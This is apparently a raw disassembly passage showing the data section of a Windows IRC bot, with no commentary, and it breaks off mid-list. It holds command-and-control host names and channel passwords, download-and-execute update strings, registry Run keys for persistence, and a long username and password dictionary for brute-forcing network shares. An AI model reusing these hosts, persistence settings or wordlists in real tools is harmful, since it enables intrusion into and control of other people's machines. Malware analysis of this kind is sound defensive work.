20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+202o dd 2029206Ch, 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42BBEC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+1CBo dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h dd 2E7475h dword_42BC18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40B712+16Ao dd 169h dword_42BC30 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+127o dd 2029206Ch, 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+82o dd 2029206Ch, 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+44o dd 2029206Ch, 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42BCD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+1CFo dd 2029206Ch, 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_42BD2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+CBo dd 2029206Ch, 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42BD60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+ABo dd 2029206Ch, 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 10h aAB db 'a+b',0 ; DATA XREF: sub_40BAB4+97o dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+83o dd 2029206Ch, 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_42BDE8 db 2 ; DATA XREF: sub_40BCEF+493o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42BE28 db 2 ; DATA XREF: sub_40BCEF+485o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42BE74 db 2 ; DATA XREF: sub_40BCEF+3C9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42BEC8 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: sub_40BCEF+358o dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: sub_40BCEF+336o ; sub_40CE55+2A37o ... align 10h unk_42BF00 db 2 ; DATA XREF: sub_40BCEF+2E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_42BF4C db 2 ; DATA XREF: sub_40BCEF+262o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42BF88 db 2 ; DATA XREF: sub_40BCEF+1D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 10h unk_42BFD0 db 2 ; DATA XREF: sub_40BCEF+195o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42C014 db 2 ; DATA XREF: sub_40BCEF+183o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h unk_42C060 db 2 ; DATA XREF: sub_40BCEF+77o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40C297:loc_40C2DAo ; sub_413627+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40C297:loc_40C2D4o aDisk db 'Disk',0 ; DATA XREF: sub_40C297:loc_40C2CEo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40C297:loc_40C2C8o aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C297:loc_40C2C2o align 4 aRam db 'RAM',0 ; DATA XREF: sub_40C297:loc_40C2BCo aFailed db 'failed',0 ; DATA XREF: sub_40C328:loc_40C400o ; sub_40C443+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40C328+6Bo align 4 dword_42C0D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C443+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_42C128 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C443+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_40C515:loc_40C55Ao dword_42C17C dd 1A0Bh ; sub_40C682+460r dword_42C180 dd 1B58h dword_42C184 dd 1AA6h dword_42C188 dd 0CCEh ; sub_40CE55+4E69r dword_42C18C dd 158Dh ; sub_40CE55:loc_411DB0r dword_42C190 dd 1 dword_42C194 dd 1 dword_42C198 dd 1 ; sub_40C682:loc_40C9BBr byte_42C19C db 78h ; DATA XREF: sub_40C1E1:loc_40C1EDr ; sub_40CE55+AF6r ... align 10h dword_42C1A0 dd 9 ; sub_4140C8+51r ... dword_42C1A4 dd 1 ; sub_40CE55+27Cr ... aIdspp db 'idspp',0 ; DATA XREF: sub_40C682+67o ; sub_40CE55+3D0Fo ... align 10h aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: sub_40CE55:loc_41285Fo align 4 aHi db 'hi',0 ; DATA XREF: sub_40CE55+5B8Do ; sub_40CE55+5C5Co align 10h aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C682+398o ; sub_40C682+451o align 10h aDd_0 db '#dd',0 ; DATA XREF: sub_40C682+3B9o ; sub_40C682+467o aDpass db 'dpass',0 ; DATA XREF: sub_40C682+3D0o ; sub_40C682+479o align 4 byte_42C1DC db 68h ; DATA XREF: sub_40C682:loc_40CB11r ; sub_40C682+49Do aOme_paltalkdc_ db 'ome.paltalkdc.com',0 align 10h aDd_1 db '#dd',0 ; DATA XREF: sub_40C682+4B3o aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C682+4C5o align 4 byte_42C1FC db 54h ; DATA XREF: sub_40283D+84o ; sub_403178+Fo ... db 69h, 6Ch, 65h dd 706D6F63h, 6F632E63h, 6Dh dword_42C20C dd 636C6574h, 63706D6Fh, 6C6C642Eh, 0dword_42C21C dd 54204350h, 63656C69h, 6D6Fhdword_42C228 dd 2D4350h, 656C6954h, 706D6F63h, 6F632E63h, 6Dhdword_42C23C dd 692B782Bh, 0 dword_42C244 dd 637023h ; sub_40CE55+4CCFo ... dword_42C248 dd 737323h dword_42C24C dd 737323h a78712 db '78712',0 ; DATA XREF: sub_40283D+9Ao align 4 aDd db 'dd',0 ; DATA XREF: sub_40283D+95o align 4 aDd_ db 'dd.',0 ; DATA XREF: sub_40283D+90o off_42C260 dd offset a@room ; DATA XREF: sub_40CE55:loc_412A3Eo ; "*@room" off_42C264 dd offset aMirc1_6_99 ; DATA XREF: sub_40CE55+8C6r ; sub_40CE55+5C05o ; "mirc 1.6.99" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o ; sub_4149DE+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o ; sub_4149DE+D4o align 10h dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" align 8 off_42C368 dd offset byte_438FBC ; DATA XREF: sub_404F08:loc_404FBDr ; sub_404F08+C2o dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_432C64 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4263F0 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday 